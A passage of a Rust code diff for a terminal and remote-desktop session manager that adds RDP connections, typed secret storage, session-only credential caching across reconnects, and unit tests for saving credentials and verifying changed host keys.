c.auth_methods = vec![if method.is_empty() { "publickey".into() } else { method.into() }];
|
||||||
c.private_key_path = key.into();
|
c.private_key_path = key.into();
|
||||||
c.agent_auth = agent;
|
c.agent_auth = agent;
|
||||||
let password = (method == "password").then(|| self.secret_fn(profile_id, &format!("{kind}-ssh-password"), mode, prompt.clone()));
|
let (pw_kind, pp_kind) = match kind {
|
||||||
let passphrase = self.secret_fn(profile_id, &format!("{kind}-ssh-passphrase"), mode, prompt);
|
"vnc" => (SecretKind::VncSshPassword, SecretKind::VncSshPassphrase),
|
||||||
|
"rdp" => (SecretKind::RdpSshPassword, SecretKind::RdpSshPassphrase),
|
||||||
|
_ => (SecretKind::IrcSshPassword, SecretKind::IrcSshPassphrase),
|
||||||
|
};
|
||||||
|
let password = (method == "password").then(|| self.secret_fn(id, profile_id, pw_kind, mode, prompt.clone()));
|
||||||
|
let passphrase = self.secret_fn(id, profile_id, pp_kind, mode, prompt);
|
||||||
let t = SshClient::new(&tp, Callbacks::noop());
|
let t = SshClient::new(&tp, Callbacks::noop());
|
||||||
t.connect_tunnel_only(self.host_key_check(id, HostKeyPolicy::Ask), password, Some(passphrase))?;
|
t.connect_tunnel_only(self.host_key_check(id, HostKeyPolicy::Ask), password, Some(passphrase))?;
|
||||||
Ok(t)
|
Ok(t)
|
||||||
@@ -568,7 +694,7 @@ impl Manager {
|
|||||||
|
|
||||||
fn connect_github(self: &Arc<Self>, id: &str, epoch: u64, p: &Profile, prompt: Prompt) -> Result<Client> {
|
fn connect_github(self: &Arc<Self>, id: &str, epoch: u64, p: &Profile, prompt: Prompt) -> Result<Client> {
|
||||||
let gh = p.github.clone().ok_or_else(|| format!("GitHub configuration missing on profile {:?}", p.id))?;
|
let gh = p.github.clone().ok_or_else(|| format!("GitHub configuration missing on profile {:?}", p.id))?;
|
||||||
let token = self.secret_fn(&p.id, "github-token", gh.secret_mode, prompt.clone())().map_err(|e| format!("obtaining GitHub token: {e}"))?;
|
let token = self.secret_fn(id, &p.id, SecretKind::GithubToken, gh.secret_mode, prompt.clone())().map_err(|e| format!("obtaining GitHub token: {e}"))?;
|
||||||
if token.is_empty() {
|
if token.is_empty() {
|
||||||
return err("GitHub token cannot be empty".into());
|
return err("GitHub token cannot be empty".into());
|
||||||
}
|
}
|
||||||
@@ -581,7 +707,7 @@ impl Manager {
|
|||||||
let retry = auth.then(|| prompt("GitHub token did not work. Please enter a valid token:").ok()).flatten().filter(|t| !t.is_empty());
|
let retry = auth.then(|| prompt("GitHub token did not work. Please enter a valid token:").ok()).flatten().filter(|t| !t.is_empty());
|
||||||
let Some(t) = retry else { return err(format!("GitHub authentication failed: {e}")) };
|
let Some(t) = retry else { return err(format!("GitHub authentication failed: {e}")) };
|
||||||
if gh.secret_mode == SecretMode::Saved {
|
if gh.secret_mode == SecretMode::Saved {
|
||||||
self.secrets.set(&format!("profile:{}:github-token", p.id), &t);
|
let _ = self.with(id, |s| s.session_secrets.lock().pending.insert(SecretKind::GithubToken.key(&p.id), Zeroizing::new(t.clone())));
|
||||||
}
|
}
|
||||||
client = github::Client::new(&gh.base_url, &t);
|
client = github::Client::new(&gh.base_url, &t);
|
||||||
client.validate_token().map_err(|e| format!("GitHub authentication failed: {e}"))?
|
client.validate_token().map_err(|e| format!("GitHub authentication failed: {e}"))?
|
||||||
@@ -629,12 +755,13 @@ impl Manager {
|
|||||||
fn connect_irc(self: &Arc<Self>, id: &str, epoch: u64, p: &Profile, prompt: Prompt) -> Result<Client> {
|
fn connect_irc(self: &Arc<Self>, id: &str, epoch: u64, p: &Profile, prompt: Prompt) -> Result<Client> {
|
||||||
let ic = p.irc.clone().ok_or("IRC configuration missing")?;
|
let ic = p.irc.clone().ok_or("IRC configuration missing")?;
|
||||||
let server_pass = if ic.server_password_required {
|
let server_pass = if ic.server_password_required {
|
||||||
self.secret_fn(&p.id, "irc-server-password", ic.server_password_mode, prompt.clone())().map_err(|e| format!("IRC server password: {e}"))?
|
self.secret_fn(id, &p.id, SecretKind::IrcServerPassword, ic.server_password_mode, prompt.clone())()
|
||||||
|
.map_err(|e| format!("IRC server password: {e}"))?
|
||||||
} else {
|
} else {
|
||||||
String::new()
|
String::new()
|
||||||
};
|
};
|
||||||
let ns_pass = if ic.nick_serv_identify {
|
let ns_pass = if ic.nick_serv_identify {
|
||||||
self.secret_fn(&p.id, "irc-nickserv-password", ic.nick_serv_mode, prompt.clone())().map_err(|e| format!("NickServ password: {e}"))?
|
self.secret_fn(id, &p.id, SecretKind::IrcNickServPassword, ic.nick_serv_mode, prompt.clone())().map_err(|e| format!("NickServ password: {e}"))?
|
||||||
} else {
|
} else {
|
||||||
String::new()
|
String::new()
|
||||||
};
|
};
|
||||||
@@ -739,7 +866,7 @@ impl Manager {
|
|||||||
} else {
|
} else {
|
||||||
None
|
None
|
||||||
};
|
};
|
||||||
let password = self.secret_fn(&p.id, "vnc-password", vc.secret_mode, prompt);
|
let password = self.secret_fn(id, &p.id, SecretKind::VncPassword, vc.secret_mode, prompt);
|
||||||
let cb = self.terminal_callbacks(id, epoch);
|
let cb = self.terminal_callbacks(id, epoch);
|
||||||
let (me, sid) = (self.clone(), id.to_string());
|
let (me, sid) = (self.clone(), id.to_string());
|
||||||
let (me2, sid2) = (self.clone(), id.to_string());
|
let (me2, sid2) = (self.clone(), id.to_string());
|
||||||
@@ -752,12 +879,12 @@ impl Manager {
|
|||||||
password,
|
password,
|
||||||
tunnel.clone(),
|
tunnel.clone(),
|
||||||
cb,
|
cb,
|
||||||
Arc::new(move || me.emit(Event::VncFrame { session: sid.clone() })),
|
Arc::new(move || me.emit(Event::DesktopFrame { session: sid.clone() })),
|
||||||
clip,
|
clip,
|
||||||
);
|
);
|
||||||
match c {
|
match c {
|
||||||
Ok(c) => {
|
Ok(c) => {
|
||||||
self.emit(Event::VncReady { session: id.into() });
|
self.emit(Event::DesktopReady { session: id.into() });
|
||||||
Ok(Client::Vnc(c, tunnel))
|
Ok(Client::Vnc(c, tunnel))
|
||||||
}
|
}
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
@@ -769,6 +896,103 @@ impl Manager {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn connect_rdp(self: &Arc<Self>, id: &str, epoch: u64, p: &Profile, prompt: Prompt) -> Result<Client> {
|
||||||
|
let rc = p.rdp.clone().unwrap_or_else(RdpConfig::defaults);
|
||||||
|
let port = if p.port == 0 { DEFAULT_RDP_PORT } else { p.port as u16 };
|
||||||
|
let tunnel = if rc.ssh_tunnel {
|
||||||
|
Some(self.tunnel(
|
||||||
|
id,
|
||||||
|
&p.id,
|
||||||
|
&rc.ssh_host,
|
||||||
|
rc.ssh_port,
|
||||||
|
&rc.ssh_username,
|
||||||
|
&rc.ssh_auth_method,
|
||||||
|
&rc.ssh_private_key,
|
||||||
|
rc.ssh_agent_auth,
|
||||||
|
rc.ssh_secret_mode,
|
||||||
|
"rdp",
|
||||||
|
prompt.clone(),
|
||||||
|
)?)
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
let r = self.rdp_client(id, epoch, p, &rc, port, tunnel.clone(), prompt);
|
||||||
|
match r {
|
||||||
|
Ok(c) => {
|
||||||
|
self.emit(Event::DesktopReady { session: id.into() });
|
||||||
|
Ok(Client::Rdp(c, tunnel))
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
if let Some(t) = tunnel {
|
||||||
|
t.close();
|
||||||
|
}
|
||||||
|
Err(e)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(clippy::too_many_arguments)]
|
||||||
|
fn rdp_client(
|
||||||
|
self: &Arc<Self>,
|
||||||
|
id: &str,
|
||||||
|
epoch: u64,
|
||||||
|
p: &Profile,
|
||||||
|
rc: &RdpConfig,
|
||||||
|
port: u16,
|
||||||
|
tunnel: Option<Arc<SshClient>>,
|
||||||
|
prompt: Prompt,
|
||||||
|
) -> Result<Arc<clients::rdp::Client>> {
|
||||||
|
let timeout = Duration::from_secs(p.connect_timeout.max(1) as u64);
|
||||||
|
let host = p.host.clone();
|
||||||
|
let dial: clients::rdp::Dial = match tunnel {
|
||||||
|
Some(t) => {
|
||||||
|
let h = host.clone();
|
||||||
|
Arc::new(move || t.open_tunnel(&h, port))
|
||||||
|
}
|
||||||
|
None => {
|
||||||
|
let proxy = clients::proxy::Proxy {
|
||||||
|
kind: rc.proxy_type.clone(),
|
||||||
|
host: rc.proxy_host.clone(),
|
||||||
|
port: rc.proxy_port as u16,
|
||||||
|
username: rc.proxy_username.clone(),
|
||||||
|
password: self.secrets.get(&SecretKind::ProxyPassword.key(&p.id)).unwrap_or_default(),
|
||||||
|
};
|
||||||
|
let h = host.clone();
|
||||||
|
Arc::new(move || proxy.connect(&h, port, timeout))
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let check = self.host_key_check(id, rc.host_key_policy);
|
||||||
|
let h = host.clone();
|
||||||
|
let check_cert: clients::rdp::CertCheck = Arc::new(move |fp: &str| {
|
||||||
|
check(&HostKeyInfo { host: h.clone(), port, key_type: "rdp-tls".into(), fingerprint: fp.into(), public_key_b64: String::new() })
|
||||||
|
});
|
||||||
|
// A 0×0 configured size follows the tab, which reports its pixel size like a terminal.
|
||||||
|
let (width, height) = match (rc.width, rc.height) {
|
||||||
|
(w, h) if w > 0 && h > 0 => (w as u16, h as u16),
|
||||||
|
_ => self.with(id, |s| s.pending_resize).ok().flatten().unwrap_or((1280, 800)),
|
||||||
|
};
|
||||||
|
let password = self.secret_fn(id, &p.id, SecretKind::RdpPassword, rc.secret_mode, prompt)()?;
|
||||||
|
let cb = self.terminal_callbacks(id, epoch);
|
||||||
|
let (me, sid) = (self.clone(), id.to_string());
|
||||||
|
let c = clients::rdp::Client::new(clients::rdp::Config {
|
||||||
|
host,
|
||||||
|
username: p.username.clone(),
|
||||||
|
domain: rc.domain.clone(),
|
||||||
|
password,
|
||||||
|
width,
|
||||||
|
height,
|
||||||
|
allow_tls_only: rc.allow_tls_only,
|
||||||
|
dial,
|
||||||
|
check_cert,
|
||||||
|
connect_timeout: timeout,
|
||||||
|
on_frame: Arc::new(move || me.emit(Event::DesktopFrame { session: sid.clone() })),
|
||||||
|
on_error: cb.on_error,
|
||||||
|
on_close: cb.on_close,
|
||||||
|
});
|
||||||
|
c.connect()?;
|
||||||
|
Ok(c)
|
||||||
|
}
|
||||||
|
|
||||||
// --- local shell --------------------------------------------------------------------
|
// --- local shell --------------------------------------------------------------------
|
||||||
|
|
||||||
pub fn connect_local(self: &Arc<Self>, shell: &str) -> String {
|
pub fn connect_local(self: &Arc<Self>, shell: &str) -> String {
|
||||||
@@ -786,7 +1010,7 @@ impl Manager {
|
|||||||
connected_at: now(),
|
connected_at: now(),
|
||||||
error: String::new(),
|
error: String::new(),
|
||||||
};
|
};
|
||||||
let epoch = self.new_session(info, None, shell.into());
|
let epoch = self.new_session(info, None, shell.into(), SessionSecrets::default());
|
||||||
self.emit_state(&id, SessionState::Connecting, "");
|
self.emit_state(&id, SessionState::Connecting, "");
|
||||||
let me = self.clone();
|
let me = self.clone();
|
||||||
let id2 = id.clone();
|
let id2 = id.clone();
|
||||||
@@ -851,7 +1075,7 @@ impl Manager {
|
|||||||
|
|
||||||
/// Explicit close: the tab is gone, so no reconnect.
|
/// Explicit close: the tab is gone, so no reconnect.
|
||||||
pub fn disconnect(&self, id: &str) -> Result<()> {
|
pub fn disconnect(&self, id: &str) -> Result<()> {
|
||||||
let s = self.sessions.lock().unwrap().remove(id).ok_or_else(|| format!("sessions: session {id:?} not found"))?;
|
let s = self.sessions.lock().remove(id).ok_or_else(|| format!("sessions: session {id:?} not found"))?;
|
||||||
self.close_session(s);
|
self.close_session(s);
|
||||||
self.store.add_audit("disconnect", "", id, "Session disconnected");
|
self.store.add_audit("disconnect", "", id, "Session disconnected");
|
||||||
Ok(())
|
Ok(())
|
||||||
@@ -860,12 +1084,13 @@ impl Manager {
|
|||||||
/// Closes and re-opens a session from its profile, keeping the tab name and pin; returns the
|
/// Closes and re-opens a session from its profile, keeping the tab name and pin; returns the
|
||||||
/// new session id.
|
/// new session id.
|
||||||
pub fn reconnect(self: &Arc<Self>, id: &str) -> Result<String> {
|
pub fn reconnect(self: &Arc<Self>, id: &str) -> Result<String> {
|
||||||
let s = self.sessions.lock().unwrap().remove(id).ok_or_else(|| format!("sessions: session {id:?} not found"))?;
|
let s = self.sessions.lock().remove(id).ok_or_else(|| format!("sessions: session {id:?} not found"))?;
|
||||||
let (profile, tab, pinned, proto, shell) = (s.profile.clone(), s.info.tab_name.clone(), s.info.pinned, s.info.protocol, s.local_shell.clone());
|
let (profile, tab, pinned, proto, shell) = (s.profile.clone(), s.info.tab_name.clone(), s.info.pinned, s.info.protocol, s.local_shell.clone());
|
||||||
|
let session_secrets = s.session_secrets.clone();
|
||||||
self.close_session(s);
|
self.close_session(s);
|
||||||
let new = match (proto, profile) {
|
let new = match (proto, profile) {
|
||||||
(Protocol::Local, _) => self.connect_local(&shell),
|
(Protocol::Local, _) => self.connect_local(&shell),
|
||||||
(_, Some(p)) => self.connect(p),
|
(_, Some(p)) => self.connect_with(p, session_secrets),
|
||||||
_ => return err("sessions: nothing to reconnect".into()),
|
_ => return err("sessions: nothing to reconnect".into()),
|
||||||
};
|
};
|
||||||
let _ = self.with(&new, |s| {
|
let _ = self.with(&new, |s| {
|
||||||
@@ -888,7 +1113,7 @@ impl Manager {
|
|||||||
|
|
||||||
fn handle_closed(self: &Arc<Self>, id: &str, epoch: u64) {
|
fn handle_closed(self: &Arc<Self>, id: &str, epoch: u64) {
|
||||||
let profile = {
|
let profile = {
|
||||||
let mut map = self.sessions.lock().unwrap();
|
let mut map = self.sessions.lock();
|
||||||
let Some(s) = map.get_mut(id).filter(|s| s.epoch == epoch && !s.closed) else { return };
|
let Some(s) = map.get_mut(id).filter(|s| s.epoch == epoch && !s.closed) else { return };
|
||||||
s.info.state = SessionState::Disconnected;
|
s.info.state = SessionState::Disconnected;
|
||||||
if !matches!(s.client, Client::Local(_)) {
|
if !matches!(s.client, Client::Local(_)) {
|
||||||
@@ -958,7 +1183,7 @@ impl Manager {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
me.emit_state(&id, SessionState::Connecting, "");
|
me.emit_state(&id, SessionState::Connecting, "");
|
||||||
let prompt = me.prompt_for(&id, "Reconnection Credentials", Duration::from_secs(60));
|
let prompt = me.prompt_for(&id, "Reconnection Credentials", Duration::from_secs(300));
|
||||||
match me.connect_protocol(&id, epoch, &p, prompt) {
|
match me.connect_protocol(&id, epoch, &p, prompt) {
|
||||||
Ok(c) => me.finish_connect(&id, epoch, Ok(c), |_| {}),
|
Ok(c) => me.finish_connect(&id, epoch, Ok(c), |_| {}),
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
@@ -968,6 +1193,7 @@ impl Manager {
|
|||||||
}
|
}
|
||||||
s.info.state = SessionState::Error;
|
s.info.state = SessionState::Error;
|
||||||
s.info.error = e.to_string();
|
s.info.error = e.to_string();
|
||||||
|
attempt_failed(&s.session_secrets, &e.to_string());
|
||||||
true
|
true
|
||||||
});
|
});
|
||||||
if current.unwrap_or(false) {
|
if current.unwrap_or(false) {
|
||||||
@@ -995,7 +1221,7 @@ impl Manager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn close_all(&self) {
|
pub fn close_all(&self) {
|
||||||
let all: Vec<Session> = self.sessions.lock().unwrap().drain().map(|(_, s)| s).collect();
|
let all: Vec<Session> = self.sessions.lock().drain().map(|(_, s)| s).collect();
|
||||||
for s in all {
|
for s in all {
|
||||||
self.close_session(s);
|
self.close_session(s);
|
||||||
}
|
}
|
||||||
@@ -1008,7 +1234,7 @@ impl Manager {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
let Ok(login) = self.with(id, |s| s.login.clone()) else { return };
|
let Ok(login) = self.with(id, |s| s.login.clone()) else { return };
|
||||||
*login.lock().unwrap() = LoginBuf { active: true, buf: vec![] };
|
*login.lock() = LoginBuf { active: true, buf: vec![] };
|
||||||
let (me, id) = (self.clone(), id.to_string());
|
let (me, id) = (self.clone(), id.to_string());
|
||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
std::thread::sleep(Duration::from_millis(500));
|
std::thread::sleep(Duration::from_millis(500));
|
||||||
@@ -1043,7 +1269,7 @@ impl Manager {
|
|||||||
_ => {}
|
_ => {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
*login.lock().unwrap() = LoginBuf::default();
|
*login.lock() = LoginBuf::default();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1072,6 +1298,11 @@ impl Manager {
|
|||||||
Client::Ssh(c) => c.resize(cols as u32, rows as u32),
|
Client::Ssh(c) => c.resize(cols as u32, rows as u32),
|
||||||
Client::Telnet(c) => c.resize(cols, rows),
|
Client::Telnet(c) => c.resize(cols, rows),
|
||||||
Client::Local(c) => c.resize(cols, rows),
|
Client::Local(c) => c.resize(cols, rows),
|
||||||
|
// For a remote desktop the "size" is the tab's size in pixels.
|
||||||
|
Client::Rdp(c, _) => {
|
||||||
|
c.resize(cols, rows);
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
_ => Ok(()),
|
_ => Ok(()),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1088,15 +1319,15 @@ impl Manager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn info(&self, id: &str) -> Option<SessionInfo> {
|
pub fn info(&self, id: &str) -> Option<SessionInfo> {
|
||||||
self.sessions.lock().unwrap().get(id).map(|s| s.info.clone())
|
self.sessions.lock().get(id).map(|s| s.info.clone())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn list(&self) -> Vec<SessionInfo> {
|
pub fn list(&self) -> Vec<SessionInfo> {
|
||||||
self.sessions.lock().unwrap().values().map(|s| s.info.clone()).collect()
|
self.sessions.lock().values().map(|s| s.info.clone()).collect()
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn profile(&self, id: &str) -> Option<Profile> {
|
pub fn profile(&self, id: &str) -> Option<Profile> {
|
||||||
self.sessions.lock().unwrap().get(id).and_then(|s| s.profile.clone())
|
self.sessions.lock().get(id).and_then(|s| s.profile.clone())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn rename(&self, id: &str, name: &str) -> Result<()> {
|
pub fn rename(&self, id: &str, name: &str) -> Result<()> {
|
||||||
@@ -1174,6 +1405,13 @@ impl Manager {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub fn rdp(&self, id: &str) -> Result<Arc<clients::rdp::Client>> {
|
||||||
|
match self.client(id)? {
|
||||||
|
Client::Rdp(c, _) => Ok(c),
|
||||||
|
_ => err(format!("sessions: session {id:?} is not an RDP connection")),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub fn vnc(&self, id: &str) -> Result<Arc<clients::vnc::Client>> {
|
pub fn vnc(&self, id: &str) -> Result<Arc<clients::vnc::Client>> {
|
||||||
match self.client(id)? {
|
match self.client(id)? {
|
||||||
Client::Vnc(c, _) => Ok(c),
|
Client::Vnc(c, _) => Ok(c),
|
||||||
@@ -1312,7 +1550,7 @@ fn wait_for_output(login: &Mutex<LoginBuf>, pattern: &str, timeout: Duration) ->
|
|||||||
let deadline = std::time::Instant::now() + timeout;
|
let deadline = std::time::Instant::now() + timeout;
|
||||||
while std::time::Instant::now() < deadline {
|
while std::time::Instant::now() < deadline {
|
||||||
{
|
{
|
||||||
let mut l = login.lock().unwrap();
|
let mut l = login.lock();
|
||||||
let text = String::from_utf8_lossy(&l.buf).into_owned();
|
let text = String::from_utf8_lossy(&l.buf).into_owned();
|
||||||
if let Some(i) = text.find(pattern) {
|
if let Some(i) = text.find(pattern) {
|
||||||
let consumed = text[..i + pattern.len()].len();
|
let consumed = text[..i + pattern.len()].len();
|
||||||
@@ -1325,3 +1563,171 @@ fn wait_for_output(login: &Mutex<LoginBuf>, pattern: &str, timeout: Duration) ->
|
|||||||
}
|
}
|
||||||
false
|
false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::secrets::{Keychain, Secrets, Vault};
|
||||||
|
use std::sync::atomic::AtomicUsize;
|
||||||
|
|
||||||
|
fn manager(name: &str) -> (Arc<Manager>, PathBuf) {
|
||||||
|
let dir = std::env::temp_dir().join(format!("nexus-secretfn-{name}-{}", std::process::id()));
|
||||||
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
|
std::fs::create_dir_all(&dir).unwrap();
|
||||||
|
let store = Arc::new(Store::open(&dir.join("nexus.db")).unwrap());
|
||||||
|
let secrets = Arc::new(Secrets { vault: Vault::new(dir.join("vault")), keychain: Keychain::new("NexusTerminalTest"), keychain_ok: false });
|
||||||
|
(Manager::new(store, secrets, dir.join("recordings")), dir)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn counting_prompt(n: Arc<AtomicUsize>) -> Prompt {
|
||||||
|
Arc::new(move |_| {
|
||||||
|
n.fetch_add(1, Ordering::SeqCst);
|
||||||
|
Ok("hunter2".into())
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn saved_credentials_are_stored_only_after_success_and_reasked_after_rejection() {
|
||||||
|
let (m, dir) = manager("saved");
|
||||||
|
let warnings: Arc<Mutex<Vec<String>>> = Arc::default();
|
||||||
|
let w = warnings.clone();
|
||||||
|
m.set_sink(Arc::new(move |e| {
|
||||||
|
if let Event::Warning { message, .. } = e {
|
||||||
|
w.lock().push(message);
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
let p = Profile { host: "127.0.0.1".into(), port: 1, ..Profile::new(Protocol::Raw) };
|
||||||
|
let key = SecretKind::Password.key(&p.id);
|
||||||
|
let info = |id: &str| SessionInfo {
|
||||||
|
id: id.into(),
|
||||||
|
profile_id: p.id.clone(),
|
||||||
|
profile_name: String::new(),
|
||||||
|
protocol: Protocol::Raw,
|
||||||
|
host: p.host.clone(),
|
||||||
|
port: p.port,
|
||||||
|
state: SessionState::Connecting,
|
||||||
|
tab_name: String::new(),
|
||||||
|
pinned: false,
|
||||||
|
connected_at: now(),
|
||||||
|
error: String::new(),
|
||||||
|
};
|
||||||
|
let asked = Arc::new(AtomicUsize::new(0));
|
||||||
|
let resolve = |m: &Arc<Manager>, id: &str| m.secret_fn(id, &p.id, SecretKind::Password, SecretMode::Saved, counting_prompt(asked.clone()))().unwrap();
|
||||||
|
|
||||||
|
// Locked store: the credential can't be saved, and the user is told.
|
||||||
|
let e = m.new_session(info("s0"), Some(p.clone()), String::new(), SessionSecrets::default());
|
||||||
|
resolve(&m, "s0");
|
||||||
|
m.finish_connect("s0", e, Ok(Client::None), |_| {});
|
||||||
|
assert_eq!(warnings.lock().len(), 1);
|
||||||
|
|
||||||
|
m.secrets.vault.initialise("pw").unwrap();
|
||||||
|
let e = m.new_session(info("s1"), Some(p.clone()), String::new(), SessionSecrets::default());
|
||||||
|
// A typed password the server rejects is never stored.
|
||||||
|
resolve(&m, "s1");
|
||||||
|
m.finish_connect("s1", e, Err("ssh: unable to authenticate".into()), |_| {});
|
||||||
|
assert!(m.secrets.get(&key).is_none());
|
||||||
|
// Typed again and accepted: stored.
|
||||||
|
resolve(&m, "s1");
|
||||||
|
m.finish_connect("s1", e, Ok(Client::None), |_| {});
|
||||||
|
assert_eq!(m.secrets.get(&key).as_deref(), Some("hunter2"));
|
||||||
|
assert_eq!(asked.load(Ordering::SeqCst), 3);
|
||||||
|
|
||||||
|
// The saved value is reused; once the server rejects it, the next attempt asks again.
|
||||||
|
let e = m.new_session(info("s2"), Some(p.clone()), String::new(), SessionSecrets::default());
|
||||||
|
resolve(&m, "s2");
|
||||||
|
assert_eq!(asked.load(Ordering::SeqCst), 3);
|
||||||
|
m.finish_connect("s2", e, Err("VNC authentication failed".into()), |_| {});
|
||||||
|
resolve(&m, "s2");
|
||||||
|
assert_eq!(asked.load(Ordering::SeqCst), 4);
|
||||||
|
// A network error doesn't count as a rejection.
|
||||||
|
m.finish_connect("s2", e, Err("connection refused".into()), |_| {});
|
||||||
|
resolve(&m, "s2");
|
||||||
|
assert_eq!(asked.load(Ordering::SeqCst), 4);
|
||||||
|
m.close_all();
|
||||||
|
let _ = std::fs::remove_dir_all(dir);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn session_only_secrets_survive_reconnects() {
|
||||||
|
let (m, dir) = manager("cache");
|
||||||
|
let p = Profile { host: "127.0.0.1".into(), port: 1, ..Profile::new(Protocol::Raw) };
|
||||||
|
let info = SessionInfo {
|
||||||
|
id: "s1".into(),
|
||||||
|
profile_id: p.id.clone(),
|
||||||
|
profile_name: String::new(),
|
||||||
|
protocol: Protocol::Raw,
|
||||||
|
host: p.host.clone(),
|
||||||
|
port: p.port,
|
||||||
|
state: SessionState::Connecting,
|
||||||
|
tab_name: String::new(),
|
||||||
|
pinned: false,
|
||||||
|
connected_at: now(),
|
||||||
|
error: String::new(),
|
||||||
|
};
|
||||||
|
m.new_session(info, Some(p.clone()), String::new(), SessionSecrets::default());
|
||||||
|
let asked = Arc::new(AtomicUsize::new(0));
|
||||||
|
// Two separate resolutions (as two connects of the same session make) prompt once.
|
||||||
|
for _ in 0..2 {
|
||||||
|
let f = m.secret_fn("s1", &p.id, SecretKind::IrcNickServPassword, SecretMode::SessionOnly, counting_prompt(asked.clone()));
|
||||||
|
assert_eq!(f().unwrap(), "hunter2");
|
||||||
|
}
|
||||||
|
assert_eq!(asked.load(Ordering::SeqCst), 1);
|
||||||
|
// Ask-every-time still prompts each time.
|
||||||
|
let f = m.secret_fn("s1", &p.id, SecretKind::IrcNickServPassword, SecretMode::AskEveryTime, counting_prompt(asked.clone()));
|
||||||
|
f().unwrap();
|
||||||
|
assert_eq!(asked.load(Ordering::SeqCst), 2);
|
||||||
|
// An explicit reconnect carries the cache to the new session id.
|
||||||
|
let new = m.reconnect("s1").unwrap();
|
||||||
|
let f = m.secret_fn(&new, &p.id, SecretKind::IrcNickServPassword, SecretMode::SessionOnly, counting_prompt(asked.clone()));
|
||||||
|
assert_eq!(f().unwrap(), "hunter2");
|
||||||
|
assert_eq!(asked.load(Ordering::SeqCst), 2);
|
||||||
|
m.close_all();
|
||||||
|
let _ = std::fs::remove_dir_all(dir);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn changed_host_keys_can_be_rejected_accepted_once_or_updated() {
|
||||||
|
use crate::clients::ssh::HostKeyInfo;
|
||||||
|
let (m, dir) = manager("hostkey");
|
||||||
|
let answers: Arc<Mutex<Vec<HostKeyDecision>>> = Arc::default();
|
||||||
|
let prompts: Arc<Mutex<Vec<Option<String>>>> = Arc::default();
|
||||||
|
let (a, pr) = (answers.clone(), prompts.clone());
|
||||||
|
m.set_sink(Arc::new(move |e| {
|
||||||
|
if let Event::HostKeyVerify { stored, reply, .. } = e {
|
||||||
|
pr.lock().push(stored);
|
||||||
|
let _ = reply.send(a.lock().remove(0));
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
let info = |fp: &str| HostKeyInfo { host: "h".into(), port: 22, key_type: "ssh-ed25519".into(), fingerprint: fp.into(), public_key_b64: "AAAA".into() };
|
||||||
|
let stored = |m: &Manager| m.store.get_known_host("h", 22).unwrap().map(|k| k.fingerprint);
|
||||||
|
// Unknown key: accept once records nothing; accept & save records it.
|
||||||
|
let check = m.host_key_check("s", HostKeyPolicy::Ask);
|
||||||
|
answers.lock().push(HostKeyDecision::AcceptOnce);
|
||||||
|
check(&info("A")).unwrap();
|
||||||
|
assert_eq!(stored(&m), None);
|
||||||
|
answers.lock().push(HostKeyDecision::AcceptAndSave);
|
||||||
|
check(&info("A")).unwrap();
|
||||||
|
assert_eq!(stored(&m).as_deref(), Some("A"));
|
||||||
|
assert_eq!(prompts.lock().as_slice(), [None, None]);
|
||||||
|
// Same key again: no prompt.
|
||||||
|
check(&info("A")).unwrap();
|
||||||
|
assert_eq!(prompts.lock().len(), 2);
|
||||||
|
// Changed key: reject, accept once (record untouched), accept & update (record replaced).
|
||||||
|
answers.lock().push(HostKeyDecision::Reject);
|
||||||
|
assert!(check(&info("B")).unwrap_err().contains("has changed"));
|
||||||
|
answers.lock().push(HostKeyDecision::AcceptOnce);
|
||||||
|
check(&info("B")).unwrap();
|
||||||
|
assert_eq!(stored(&m).as_deref(), Some("A"));
|
||||||
|
answers.lock().push(HostKeyDecision::AcceptAndSave);
|
||||||
|
check(&info("B")).unwrap();
|
||||||
|
assert_eq!(stored(&m).as_deref(), Some("B"));
|
||||||
|
assert_eq!(prompts.lock()[2..], [Some("A".to_string()), Some("A".into()), Some("A".into())]);
|
||||||
|
assert_eq!(m.store.list_known_hosts().unwrap().len(), 1);
|
||||||
|
// Strict and accept-new never prompt on a changed key.
|
||||||
|
for policy in [HostKeyPolicy::Strict, HostKeyPolicy::AcceptNew] {
|
||||||
|
assert!(m.host_key_check("s", policy)(&info("C")).unwrap_err().contains("has changed"));
|
||||||
|
}
|
||||||
|
assert_eq!(prompts.lock().len(), 5);
|
||||||
|
let _ = std::fs::remove_dir_all(dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -175,6 +175,23 @@ fn is_trueish(v: &str) -> bool {
|
|||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostile_configs_never_panic() {
|
||||||
|
let mut n = crate::Noise::new(0x55c);
|
||||||
|
